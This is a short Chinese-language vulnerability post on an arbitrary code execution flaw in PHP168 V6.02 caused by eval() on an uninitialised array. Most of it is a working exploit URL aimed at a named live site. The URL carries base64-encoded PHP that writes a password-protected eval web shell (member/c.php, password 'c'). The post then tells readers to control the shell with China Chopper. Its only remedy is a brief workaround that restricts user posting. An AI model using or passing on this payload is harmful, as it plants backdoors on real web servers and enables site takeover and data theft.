漏洞说明:PHP168整站是PHP领域当前功能最强大的建站系统,代码全部开源,可极其方便的进行二次开发,所有功能模块可以自由安装与删除,个人用户完全免费使用。PHP168 V6.02在某些函数里运用了eval函数,但是某数组没有初试化,导致可以提交任意代码执行.
漏洞类型:任意代码执行漏洞
漏洞测试:先注册用户,但后访问以下地址
http://www.cnaz.net/member/post.php?only=1&showHtml_Type[bencandy][1]={${fputs(fopen(base64_decode(Yy5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x))}}&aid=1&job=endHTML
直接在该目录生成个member/c.php 密码为c
剩下的大家就懂了。。。上菜刀就是了
对于这个漏洞修复的方法就是去掉普通注册用户发表文章的权限。或者让注册变得不那么简单之类的就可以临时解决问题
|